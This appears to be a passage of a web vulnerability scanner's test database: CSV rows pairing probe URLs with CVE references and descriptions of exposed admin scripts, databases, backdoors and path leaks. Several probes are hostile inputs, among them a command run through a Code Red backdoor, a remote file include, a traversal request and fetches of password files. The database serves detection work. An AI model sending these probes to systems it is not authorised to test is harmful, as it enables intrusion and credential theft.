"000104","CVE-2000-0287","8","@CGIDIRSbizdb1-search.cgi","GET","CODE:200","This CGI may allow attackers to execute commands remotely.","","" "000105","","b","@CGIDIRSblog/","GET","CODE:200","A blog was found. May contain security problems in CGIs, weak passwords, and more.","","" "000106","https://web.archive.org/web/20040910030506/http://www.dslwebserver.com/main/fr_index.html?/main/sbs-Terminal-Services-Advanced-Client-Configuration.html","b","/tsweb/","GET","CODE:200","Microsoft TSAC found.","","" "000107","","1b","@CGIDIRSblog/mt-load.cgi","GET","CODE:200","Movable Type weblog installation CGI found. May be able to reconfigure or reload.","","" "000108","CVE-2002-1435","c","@CGIDIRSatk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL","GET","BODY:PHP Version","Achievo can be made to include PHP files from another domain. Upgrade to a new version.","","" "000109","","23e","/vgn/performance/TMT","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000110","","23e","/vgn/performance/TMT/Report","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000111","","23e","/vgn/performance/TMT/Report/XML","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000112","","23e","/vgn/performance/TMT/reset","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000113","","23e","/vgn/ppstats","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000114","","23e","/vgn/previewer","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000115","","23e","/vgn/record/previewer","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000116","","23e","/vgn/stylepreviewer","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000117","","23e","/vgn/vr/Deleting","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000118","","23e","/vgn/vr/Editing","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000119","","23e","/vgn/vr/Saving","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000120","","23e","/vgn/vr/Select","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000121","MS02-028","23","/scripts/iisadmin/bdir.htr","GET","CODE:200","This default script shows host info, may allow file browsing and buffer a overrun in the Chunked Encoding data transfer mechanism, request /scripts/iisadmin/bdir.htr??c:\<dir>.","","" "000122","","2a","/scripts/iisadmin/ism.dll","GET","CODE:200","Allows you to mount a brute force attack on passwords","","" "000123","","2a","/scripts/tools/ctss.idc","GET","CODE:200","This CGI allows remote users to view and modify SQL DB contents, server paths, docroot and more.","","" "000124","","3","/bigconf.cgi","GET","CODE:200","BigIP Configuration CGI","","" "000125","","3","/billing/billing.apw","GET","BODY:PASS BOX CAPTION:","CoffeeCup password wizard allows password files to be read remotely.","","" "000126","","3","/blah_badfile.shtml","GET","CODE:200","Allaire ColdFusion allows JSP source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->","" "000127","","3","/blah-whatever-badfile.jsp","GET","BODY:Script \/","The web server is configured to respond with the web server path when requesting a non-existent .jsp file.","","" "000128","CVE-2003-0401","3","/vgn/style","GET","CODE:200","Vignette server may reveal system information through this file.","","" "000129","","3","/scripts/no-such-file.pl","GET","BODY:perl script","Using perl.exe allows attackers to view host info. Use perlis.dll instead.","","" "000130","CVE-2002-1769","3","/SiteServer/Admin/commerce/foundation/domain.asp","GET","CODE:200","Displays known domains of which that server is involved.","","" "000131","CVE-2002-1769","3","/SiteServer/Admin/commerce/foundation/driver.asp","GET","CODE:200","Displays a list of installed ODBC drivers.","","" "000132","CVE-2002-1769","3","/SiteServer/Admin/commerce/foundation/DSN.asp","GET","CODE:200","Displays all DSNs configured for selected ODBC drivers.","","" "000133","CVE-2002-1769","3","/SiteServer/admin/findvserver.asp","GET","CODE:200","Gives a list of installed Site Server components.","","" "000134","","3","/SiteServer/Admin/knowledge/dsmgr/default.asp","GET","CODE:200","Used to view current search catalog configurations","","" "000135","CVE-2001-0987","4","@CGIDIRScgiwrap/%3Cfont%20color=red%3E","GET","BODY:<font color=red>","cgiwrap allows HTML and possibly XSS injection.","","" "000136","http://moinmo.in/MoinMoinDownload","4","@CGIDIRSmoin.cgi?test","GET","CODE:200","MoinMoin 1.1 and prior contain at least two XSS vulnerabilities. Version 1.0 and prior also contains a XSLT related vulnerability","","" "000138","","4","/basilix/mbox-list.php3","GET","CODE:200","BasiliX webmail application prior to 1.1.1 contains a XSS issue in 'message list' function/page","","" "000139","","4","/basilix/message-read.php3","GET","CODE:200","BasiliX webmail application prior to 1.1.1 contains a XSS issue in 'read message' function/page","","" "000140","","4","/clusterframe.jsp","GET","CODE:200","Macromedia JRun 4 build 61650 remote administration interface is vulnerable to several XSS attacks.","","" "000141","","4","/IlohaMail/blank.html","GET","CODE:200","IlohaMail 0.8.10 contains a XSS vulnerability. Previous versions contain other non-descript vulnerabilities.","","" "000142","","8","/bb-dnbd/faxsurvey","GET","CODE:200","This may allow arbitrary command execution.","","" "000143","","8","/cartcart.cgi","GET","CODE:200","If this is Dansie Shopping Cart 3.0.8 or earlier, it contains a backdoor to allow attackers to execute arbitrary commands.","","" "000144","CVE-2001-0614","8","/scripts/Carello/Carello.dll","GET","CODE:200","Carello 1.3 may allow commands to be executed on the server by replacing hidden form elements. This could not be tested by Nikto.","","" "000145","","a","/scripts/tools/dsnform.exe","GET","CODE:200","Allows creation of ODBC Data Source","","" "000146","","a","/scripts/tools/dsnform","GET","CODE:200","Allows creation of ODBC Data Source","","" "000147","https://securitytracker.com/id/1003420","a","/SiteServer/Admin/knowledge/dsmgr/users/GroupManager.asp","GET","CODE:200","Microsoft Site Server script used to create, modify, and potentially delete LDAP users and groups.","","" "000148","https://securitytracker.com/id/1003420","a","/SiteServer/Admin/knowledge/dsmgr/users/UserManager.asp","GET","CODE:200","Microsoft Site Server used to create, modify, and potentially delete LDAP users and groups.","","" "000149","","b","/prd.i/pgen/","GET","CODE:200","Has MS Merchant Server 1.0","","" "000150","","b","/readme.eml","GET","CODE:200","Remote server may be infected with the Nimda virus.","","" "000151","","b","/scripts/httpodbc.dll","GET","CODE:200","Possible IIS backdoor found.","","" "000152","","b","/scripts/proxy/w3proxy.dll","GET","CODE:502","MSProxy v1.0 installed","","" "000153","","b","/scripts/root.exe?/c+dir+c:\+/OG","GET","BODY:Directory of c","This machine is infected with Code Red, or has Code Red leftovers.","","" "000155","","1","/siteseed/","GET","CODE:200","Siteseed pre 1.4.2 have 'major' security problems.","","" "000156","MS01-033","2","/scripts/samples/search/author.idq","GET","BODY:The template file can not be found in the location specified","This is a default IIS script/file that should be removed.","","" "000157","MS01-033","2","/scripts/samples/search/filesize.idq","GET","BODY:The template file can not be found in the location specified","This is a default IIS script/file that should be removed.","","" "000158","MS01-033","2","/scripts/samples/search/filetime.idq","GET","BODY:The template file can not be found in the location specified","This is a default IIS script/file that should be removed.","","" "000159","MS01-033","2","/scripts/samples/search/queryhit.idq","GET","BODY:The template file can not be found in the location specified","This is a default IIS script/file that should be removed.","","" "000160","MS01-033","2","/scripts/samples/search/simple.idq","GET","BODY:The template file can not be found in the location specified","This is a default IIS script/file that should be removed.","","" "000161","","23","/pccsmysqladm/incs/dbconnect.inc","GET","CODE:200","This file should not be accessible, as it contains database connectivity information. Upgrade to version 1.2.5 or higher.","","" "000162","","23e","/iisadmin/","GET","CODE:200&&!BODY:is restricted to Localhost","Access to /iisadmin should be restricted to localhost or allowed hosts only.","","" "000163","","3","/password.inc","GET","BODY:globalpw","GTCatalog 0.9 admin password was retrieved remotely.","","" "000164","http://zodi.com/cgi-bin/shopper.cgi?display=intro&template=Intro/commerce.html","3","/PDG_Cart/order.log","GET","CODE:200","PDG Commerce log found.","","" "000165","","3","/web-console/ServerInfo.jsp%00","GET","BODY:<\%=","JBoss 3.2.1 with jetty seems to disclose source code.","","" "000166","","3","/global.asa","GET","BODY:RUNAT","The global.asa file was retrieved, which may contain sensitive information. Map the .asa extension to the proper dll.","","" "000167","","23","/exchange/lib/AMPROPS.INC","GET","BODY:Logon functions","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000168","","23","/exchange/lib/DELETE.INC","GET","BODY:deleting objects","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000169","","23","/exchange/lib/GETREND.INC","GET","BODY:GetRenderer functions","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000170","","23","/exchange/lib/GETWHEN.INC","GET","BODY:functions to construct","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000171","","23","/exchange/lib/JSATTACH.INC","GET","BODY:Attachment Javascript","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000172","","23","/exchange/lib/JSROOT.INC","GET","BODY:Javascript Functions","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000173","","23","/exchange/lib/JSUTIL.INC","GET","BODY:Common Javascript","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000174","","23","/exchange/lib/LANG.INC","GET","BODY:localized strings","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000175","","23","/exchange/lib/logon.inc","GET","BODY:Logon functions","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000176","","23","/exchange/lib/PAGEUTIL.INC","GET","BODY:functions that help","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000177","","23","/exchange/lib/PUBFLD.INC","GET","BODY:Anonymous Published","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000178","","23","/exchange/lib/RENDER.INC","GET","BODY:Rendering functions","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000179","","23","/exchange/lib/SESSION.INC","GET","BODY:Session Management","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000180","","5","/ows/restricted%2eshow","GET","CODE:200","OWS may allow restricted files to be viewed by replacing a character with its encoded equivalent.","","" "000181","http://www.westpoint.ltd.uk/advisories/wp-02-0002.txt","5","/WEB\-INF./web.xml","GET","BODY:j2ee","Multiple implementations of j2ee servlet containers allow files to be retrieved from WEB-INF by appending a '.' to the directory name. Products include Sybase EA Service, Oracle Containers, Orion, JRun, HPAS, Pramati and others.","","" "000182","","7","/view_source.jsp","GET","CODE:200&&BODY:License Exception","Resin 2.1.2 view_source.jsp allows any file on the system to be viewed by using \..\ directory traversal. This script may be vulnerable.","","" "000183","","8","/w-agora/","GET","CODE:200","w-agora pre 4.1.4 may allow a remote user to execute arbitrary PHP scripts via URL includes in include/*.php and user/*.php files. Default account is 'admin' but password set during install.","","" "000184","CVE-2002-2320","a","/vider.php3","GET","CODE:200","MySimpleNews may allow deleting of news items without authentication.","","" "000185","","a","/exchange/root.asp?acs=anon","GET","BODY:\/exchange\/logonfrm\.asp","This allows anonymous access to portions of the OWA server.","","" "000186","https://web.archive.org/web/20030607054822/http://support.microsoft.com/support/exchange/content/whitepapers/owaguide.doc","a","/officescan/cgi/cgiChkMasterPwd.exe","GET","CODE:200","Trend Micro Officescan allows you to skip the login page and access some CGI programs directly.","","" "000187","https://www.f-secure.com/v-descs/tanatos.shtml","b","/%NETHOOD%/","GET","BODY:Microsoft Windows Network","The machine may be infected with the Bugbear.B virus.","","" "000189","","de","@CGIDIRSbadmin.cgi","GET","CODE:200","BannerWheel v1.0 is vulnerable to a local buffer overflow. If this is version 1.0 it should be upgraded.","","" "000190","CVE-2002-0098","de","@CGIDIRSboozt/admin/index.cgi?section=5&input=1","GET","CODE:200","Boozt CGI may have a buffer overflow. Upgrade to a version newer than 0.9.8alpha.","","" "000191","","de","@CGIDIRSezadmin.cgi","GET","CODE:200","Some versions of this CGI are vulnerable to a buffer overflow.","","" "000192","","d","@CGIDIRSezboard.cgi","GET","CODE:200","Some versions of this CGI are vulnerable to a buffer overflow.","","" "000193","","d","@CGIDIRSezman.cgi","GET","CODE:200","Some versions of this CGI are vulnerable to a buffer overflow.","","" "000194","CVE-2003-0762","d","@CGIDIRSfoxweb.dll","GET","CODE:200","Foxweb 2.5 and below is vulnerable to a buffer overflow (not tested or confirmed). Verify Foxweb is the latest available version.","","" "000195","CVE-2003-0762","d","@CGIDIRSfoxweb.exe","GET","CODE:200","Foxweb 2.5 and below is vulnerable to a buffer overflow (not tested or confirmed). Verify Foxweb is the latest available version.","","" "000196","","d","@CGIDIRSmgrqcgi","GET","CODE:200","This CGI from Magic Enterprise 8.30-5 and earlier is vulnerable to multiple buffer overflows. Upgrade to 9.x.","","" "000197","","d","@CGIDIRSwconsole.dll","GET","CODE:200","It may be possible to overflow this dll with 1024 bytes of data.","","" "000198","","d","@CGIDIRSwebplus.exe?about","GET","BODY:Product Information","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability. Versions prior to 4.6 build 561 and 5.0 build 554 have a buffer overflow.","","" "000199","MS00-094","d","/pbserver/pbserver.dll","GET","CODE:200","This may contain a buffer overflow.","","" "000200","","0","/administrator/gallery/uploadimage.php","GET","CODE:200","Mambo PHP Portal/Server 4.0.12 BETA and below may allow upload of any file type simply putting '.jpg' before the real file extension.","","" "000201","","0","/pafiledb/includes/team/file.php","GET","CODE:200","paFileDB 3.1 and below may allow file upload without authentication.","","" "000202","","0","/phpEventCalendar/file_upload.php","GET","CODE:200","phpEventCalendar 1.1 and prior are vulnerable to file upload bug.","","" "000203","","0","/servlet/com.unify.servletexec.UploadServlet","GET","CODE:200&&BODY:Error Occurred","This servlet allows attackers to upload files to the server.","","" "000204","","0","@CGIDIRSuploader.exe","GET","CODE:200","This CGI allows attackers to upload files to the server and then execute them.","","" "000205","","0","/scripts/cpshost.dll","GET","CODE:200","Posting acceptor possibly allows you to upload files","","" "000206","","0","/scripts/repost.asp","GET","BODY:Here is your upload status","This allows uploads to /users. Create /users and give web user read only access.","","" "000207","","0","/upload.asp","GET","CODE:200","An ASP page that allows attackers to upload files to server","","" "000208","","0","/uploadn.asp","GET","CODE:200","An ASP page that allows attackers to upload files to server","","" "000209","","0","/uploadx.asp","GET","CODE:200","An ASP page that allows attackers to upload files to server","","" "000210","","0","/wa.exe","GET","CODE:200","An ASP page that allows attackers to upload files to server","","" "000211","","1","/basilix/compose-attach.php3","GET","CODE:200","BasiliX webmail application prior to 1.1.1 contains a non-descript security vulnerability in compose-attach.php3 related to attachment uploads","","" "000212","","1","/server/","GET","CODE:200","Possibly Macromedia JRun or CRX WebDAV upload","","" "000213","","1","@CGIDIRSfpsrvadm.exe","GET","CODE:200","Potentially vulnerable CGI program.","","" "000214","","1be","/siteminder/smadmin.html","GET","BODY:Admin Login","SiteMinder admin login page available.","","" "000215","","1b","/vgn/ac/data","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000216","","1b","/vgn/ac/delete","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000217","","1b","/vgn/ac/edit","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000218","","1b","/vgn/ac/esave","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000219","","1b","/vgn/ac/fsave","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000220","","1b","/vgn/ac/index","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000221","","1b","/vgn/asp/MetaDataUpdate","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000222","","1b","/vgn/asp/previewer","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000223","","1b","/vgn/asp/status","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000224","","1b","/vgn/asp/style","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000225","","1b","/vgn/errors","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000226","","1b","/vgn/jsp/controller","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000227","","1b","/vgn/jsp/errorpage","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000228","","1b","/vgn/jsp/initialize","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000229","","1b","/vgn/jsp/jspstatus","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000230","","1b","/vgn/jsp/jspstatus56","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000231","","1b","/vgn/jsp/metadataupdate","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000232","","1b","/vgn/jsp/previewer","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000233","","1b","/vgn/jsp/style","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000234","","1b","/vgn/legacy/edit","GET","CODE:200","Vignette CMS admin/maintenance script available.","","" "000235","","1b","/vgn/login","GET","CODE:200","Vignette server may allow user enumeration based on the login attempts to this file.","","" "000236","","2","/webtop/wdk/samples/index.jsp","GET","BODY:WDK Fusion Samples","Documentum Webtop Example Code","","" "000237","","2","@CGIDIRS.cobalt","GET","CODE:200","May allow remote admin of CGI scripts.","","" "000238","","2","/WEB-INF/web.xml","GET","BODY:<web\-app&&BODY:\<servlet&&CODE:200","JRUN default file found.","","" "000239","https://seclists.org/bugtraq/2003/Apr/238","23","/forum/admin/wwforum.mdb","GET","CODE:200","Web Wiz Forums password database found.","","" "000240","https://packetstormsecurity.com/files/32406/xmas.txt.html","23","/fpdb/shop.mdb","GET","CODE:200","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "000241","https://www.exploit-db.com/exploits/22484","23","/guestbook/admin/o12guest.mdb","GET","CODE:200","Ocean12 ASP Guestbook Manager allows download of SQL database which contains admin password.","","" "000242","CVE-2002-1432","23","/midicart.mdb","GET","CODE:200","MIDICART database is available for browsing. This should not be allowed via the web server.","","" "000243","CVE-2002-1432","23","/MIDICART/midicart.mdb","GET","CODE:200","MIDICART database is available for browsing. This should not be allowed via the web server.","","" "000244","https://www.exploit-db.com/exploits/22513","23","/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb","GET","CODE:200","MPCSoftWeb Guest Book passwords retrieved.","","" "000245","","23","/news/news.mdb","GET","CODE:200","Web Wiz Site News release v3.06 admin password database is available and unencrypted.","","" "000246","CVE-2000-1036","23","/newuser?Image=../../database/rbsserv.mdb","GET","BODY:SystemErrorsPerHour","The Extent RBS ISP 2.5 allows attackers to read arbitrary files on the server.","","" "000247","https://packetstormsecurity.com/files/32406/xmas.txt.html","23","/vpasp/shopdbtest.asp","GET","BODY:xDatabase","VP-ASP shopping cart test application is available from the web. This page gives the location of .mdb files which may also be available (xDatabase).","","" "000248","https://securitytracker.com/id/1004382","23","/shopping300.mdb","GET","CODE:200","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available.","","" "000249","https://securitytracker.com/id/1004382","23","/shopping400.mdb","GET","CODE:200","VP-ASP shopping cart application allows .mdb files (which may include customer data) to be downloaded via the web. These should not be available.","","" "000250","CVE-2002-1432","23","/shoppingdirectory/midicart.mdb","GET","CODE:200","MIDICART database is available for browsing. This should not be allowed via the web server.","","" "000251","https://web.archive.org/web/20011226154728/http://archives.neohapsis.com/archives/sf/pentest/2000-11/0147.html","23","/SilverStream/Meta/Tables/?access-mode=text","GET","BODY:_DBProduct","The SilverStream database structure is available for remote viewing.","","" "000252","https://www.medae.co/en/max/web-app","23","/database/db2000.mdb","GET","CODE:200","Max Web Portal database is available remotely. It should be moved from the default location to a directory outside the web root.","","" "000253","https://vulners.com/nessus/SAMBAR_MAILIT.NASL","28","@CGIDIRSmailit.pl","GET","CODE:200","Sambar may allow anonymous email to be sent from any host via this CGI.","","" "000254","","3","@CGIDIRSsearch","GET","BODY:=sourcedir","Apache Stronghold 3.0 may reveal the web root in the source of this CGI ('sourcedir' value).","","" "000255","","3","/doc/webmin.config.notes","GET","BODY:login and password","Webmin config file found, may contain Webmin ID/Password. Typically runs on port 10000.","","" "000256","","3","/error/HTTP_NOT_FOUND.html.var","GET","BODY:Available variants","Apache reveals file system paths when invalid error documents are requested.","","" "000257","","3","/oem_webstage/cgi-bin/oemapp_cgi","GET","BODY:This script","Oracle reveals the CGI source by prepending /oem_webstage to CGI URLs.","","" "000258","","3","@ADMINconfig.php","GET","CODE:200","PHP Config file may contain database IDs and passwords.","","" "000259","","3","@CGIDIRS.access","GET","CODE:200","Contains authorization information","","" "000260","CVE-2002-0544","3","@CGIDIRS%2e%2e/abyss.conf","GET","CODE:200","The Abyss configuration file was successfully retrieved. Upgrade with the latest version/patches for 1.0.","","" "000261","https://www.exploit-db.com/exploits/23009","3","@CGIDIRSdata/fetch.php?page=","GET","BODY:mysql_num_rows","Stellar Docs allows remote users to see file system paths.","","" "000262","","3","@CGIDIRSempower?DB=whateverwhatever","GET","BODY:db name whateverwhatever of directory \/","This CGI allows attackers to learn the full system path to your web directory.","","" "000263","","3","@CGIDIRSmrtg.cgi?cfg=blah","GET","BODY:Cannot find the given config file","Multi Router Traffic Grapher (mrtg.org) reveals system paths when an invalid config file is specified. Software should be upgraded to the latest version.","","" "000264","CVE-2002-0215","3","@CGIDIRSstore/agora.cgi?page=whatever33.html","GET","BODY:FILE:","Agora.cgi gives detailed error messages including file system paths.","","" "000265","CVE-2003-1242","3","/?mod=node&nid=some_thing&op=view","GET","BODY:\/node\.module\.php","Sage 1.0b3 may reveal system paths with invalid module names.","","" "000266","CVE-2003-1242","3","/?mod=some_thing&op=browse","GET","BODY:Cannot instantiate non\-existent class","Sage 1.0b3 reveals system paths with invalid module names.","","" "000267","CVE-2002-0445","3","/article.php?article=4965&post=1111111111","GET","BODY:Unable to jump to row","PHP FirstPost can reveal MySQL errors and file system paths if invalid posts are sent.","","" "000268","","3","/blah123.php","GET","BODY:Failed opening","PHP is configured to give descriptive error messages that can reveal file system paths.","","" "000269","CVE-2002-0446","3","/categorie.php3?cid=june","GET","BODY:Unable to jump to row","Black Tie Project (BTP) can reveal MySQL errors and file system paths if an invalid cid is sent.","","" "000270","CWE-552","3","/CFIDE/probe.cfm","GET","BODY:coldfusion\.tagext\.lang","Cold Fusion file probe.cfm reveals system information, such as the path to the web server. In the 'Debugging Settings' page in the Administrator console, suppress the installation path displayed in error messages by selecting 'Enable Robust Exception Info","","" "000272","","3","/download.php?op=viewdownload","GET","BODY:Failed opening","PHP-Nuke allows file system paths to be revealed.","","" "000273","","3","/download.php?op=viewdownload","GET","BODY:Fatal error","PHP-Nuke allows file system paths to be revealed.","","" "000274","CVE-2002-1990","3","/examples/basic/servlet/HelloServlet","GET","BODY:The source of this servlet is in","Caucho Resin reveals file system paths with a default servlet.","","" "000275","CVE-2002-0463","3","/home.php?arsc_language=elvish","GET","BODY:Failed opening '","ARSC Really Simple Chat can reveal file system paths if an invalid language name is specified.","","" "000276","","3e","/hostadmin/?page='","GET","BODY:C:\\\\","Host Admin reveals install location and other sensitive information.","","" "000277","","3e","/hostadmin/?page='","GET","BODY:D:\\\\","Host Admin reveals install location and other sensitive information.","","" "000278","","3","/index.php?file=index.php","GET","BODY:Fatal error:","PHP-Nuke 5.4 allows file system paths to be shown in error messages.","","" "000279","CVE-2003-1535","3","/jgb_eng_php3/cfooter.php3","GET","BODY:Fatal error","Justice Guestbook may reveal file system paths in error messages.","","" "000280","","3","/@JUNK(5).csp","GET","BODY:File not found: \/","Invalid files with .csp extension reveal the file system path to the web root.","","" "000281","","3","/modules.php?name=Downloads&d_op=viewdownload","GET","BODY:Failed opening","PHP-Nuke allows file system paths to be revealed.","","" "000282","","3","/modules.php?name=Downloads&d_op=viewdownload","GET","BODY:Fatal error","PHP-Nuke allows file system paths to be revealed.","","" "000283","","3","/modules.php?op=modload&name=0&file=0","GET","BODY:Failed opening","PHP-Nuke is configured to give descriptive error messages that can reveal file system paths.","","" "000284","","3","/modules.php?op=modload&name=Sections&file=index&req=viewarticle&artid=","GET","BODY:non\-object in","Postnuke v0.7.2.3-Phoenix and below reveal the file system path.","","" "000285","","3","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink","GET","BODY:Failed opening","PHP-Nuke is configured to give descriptive error messages that can reveal file system paths.","","" "000286","https://www.securityfocus.com/archive/1/332566","3","/path/nw/article.php?id='","GET","BODY:c:\/&&BODY:d:\/","News Wizard 2.0 reveals the file system path.","","" "000288","CVE-1999-0609","3","/pw/storemgr.pw","GET","CODE:200","Encrypted ID/Pass for Mercantec's SoftCart.","","" "000289","https://securitytracker.com/id/1003644","3","/rtm.log","GET","BODY:HttpPost Retry","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information.","","" "000290","https://www.exploit-db.com/exploits/22445","3","/scozbook/view.php?PG=whatever","GET","BODY:Warning:\sSupplied","ScozBook Beta 1.1 may reveal file system paths in error messages.","","" "000291","","3","/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter","GET","CODE:200&&BODY:Error Occurred","Allaire ColdFusion allows JSP source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->","" "000292","","3","/shopa_sessionlist.asp","GET","CODE:200","VP-ASP shopping cart test application is available from the web. This page may give the location of .mdb files which may also be available.","","" "000293","https://www.webhostingtalk.nl/bugtraq-mailing-lijst/23898-simplebbs-1-0-6-default-permissions-vuln.html","3","/simplebbs/users/users.php","GET","CODE:200","Simple BBS 1.0.6 allows user information and passwords to be viewed remotely.","","" "000294","https://vulners.com/exploitdb/EDB-ID:22381","3","/sips/sipssys/users/a/admin/user","GET","BODY:Password&&CODE:200","SIPS v0.2.2 allows user account info (including password) to be retrieved remotely.","","" "000295","","2","/tcb/files/auth/r/root","GET","BODY:u_pwd","HP-UX has the tcb auth file system on the web server.","","" "000296","","3","@TYPO3typo3conf/","GET","CODE:200","This may contain sensitive TYPO3 files.","","" "000297","","3","@TYPO3typo3conf/database.sql","GET","CODE:200","TYPO3 SQL file found.","","" "000298","","3","@TYPO3typo3conf/localconf.php","GET","CODE:200","TYPO3 config file found.","","" "000299","https://www.securityfocus.com/bid/7186/info","3","/vchat/msg.txt","GET","CODE:200","VChat allows user information to be retrieved.","","" "000300","CVE-2003-0403","3","/vgn/license","GET","CODE:200","Vignette server license file found.","","" "000301","","3","/web.config","GET","BODY:<configuration>&&CODE:200","ASP config file is accessible.","","" "000302","https://www.php.net/manual/en/function.phpinfo.php","3","/webamil/test.php?mode=phpinfo","GET","BODY:PHP Version","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000303","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart-lite/config/import.txt","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000304","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart-lite/orders/import.txt","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000305","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart/carts/","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web.","","" "000306","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart/config/","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web.","","" "000307","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart/config/clients.txt","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000308","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart/orders/","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web.","","" "000309","https://packetstormsecurity.com/files/32406/xmas.txt.html","3","/webcart/orders/import.txt","GET","CODE:200","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000310","","3","/webmail/horde/test.php","GET","BODY:Horde Versions","Horde script reveals detailed system/Horde information.","","" "000311","","3","/whatever@JUNK(4).html","GET","BODY:InterScan HTTP Version","InterScan VirusWall on the remote host reveals its version number in HTTP error messages.","","" "000312","","3","/ws_ftp.ini","GET","CODE:200","Can contain saved passwords for FTP sites","","" "000313","","3","/WS_FTP.ini","GET","CODE:200","Can contain saved passwords for FTP sites","","" "000315","","3","/_mem_bin/auoconfig.asp","GET","CODE:200","Displays the default AUO (LDAP) schema, including host and port.","","" "000316","https://github.com/sullo/advisory-archives/blob/master/RFP2201.txt","3","/_mem_bin/auoconfig.asp","GET","BODY:LDAP","LDAP information revealed via asp.","","" "000317","https://vulners.com/osvdb/OSVDB:17664","3","/_mem_bin/remind.asp","GET","BODY:Recover&&CODE:200","Page will give the password reminder for any user requested (username must be known).","","" "000318","","3","/exchange/lib/ATTACH.INC","GET","BODY:File upload","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000319","https://vulners.com/osvdb/OSVDB:17659","3","/SiteServer/Admin/knowledge/persmbr/vs.asp","GET","CODE:200","Expose various LDAP service and backend configuration parameters","","" "000320","https://vulners.com/osvdb/OSVDB:17661","3","/SiteServer/Admin/knowledge/persmbr/VsLsLpRd.asp","GET","CODE:200","Expose various LDAP service and backend configuration parameters","","" "000321","https://vulners.com/osvdb/OSVDB:17662","3","/SiteServer/Admin/knowledge/persmbr/VsPrAuoEd.asp","GET","CODE:200","Expose various LDAP service and backend configuration parameters","","" "000322","https://vulners.com/osvdb/OSVDB:17660","3","/SiteServer/Admin/knowledge/persmbr/VsTmPr.asp","GET","CODE:200","Expose various LDAP service and backend configuration parameters","","" "000323","","3","/trace.axd","GET","BODY:Application Trace","The .NET IIS server has application tracing enabled. This could allow an attacker to view the last 50 web requests.","","" "000324","","3","/tvcs/getservers.exe?action=selects1","GET","CODE:200","Following steps 2-4 of this page may reveal a zip file that contains passwords and system details.","","" "000325","MS02-018","3","/whatever.htr","GET","BODY:<html>Error: The requested file could not be found\. <\/html>","May reveal physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution.","","" "000327","","3","/./","GET","BODY:(?i)(?:index of \/|directory listing (?:of|for))","Appending '/./' to a directory allows indexing","","" 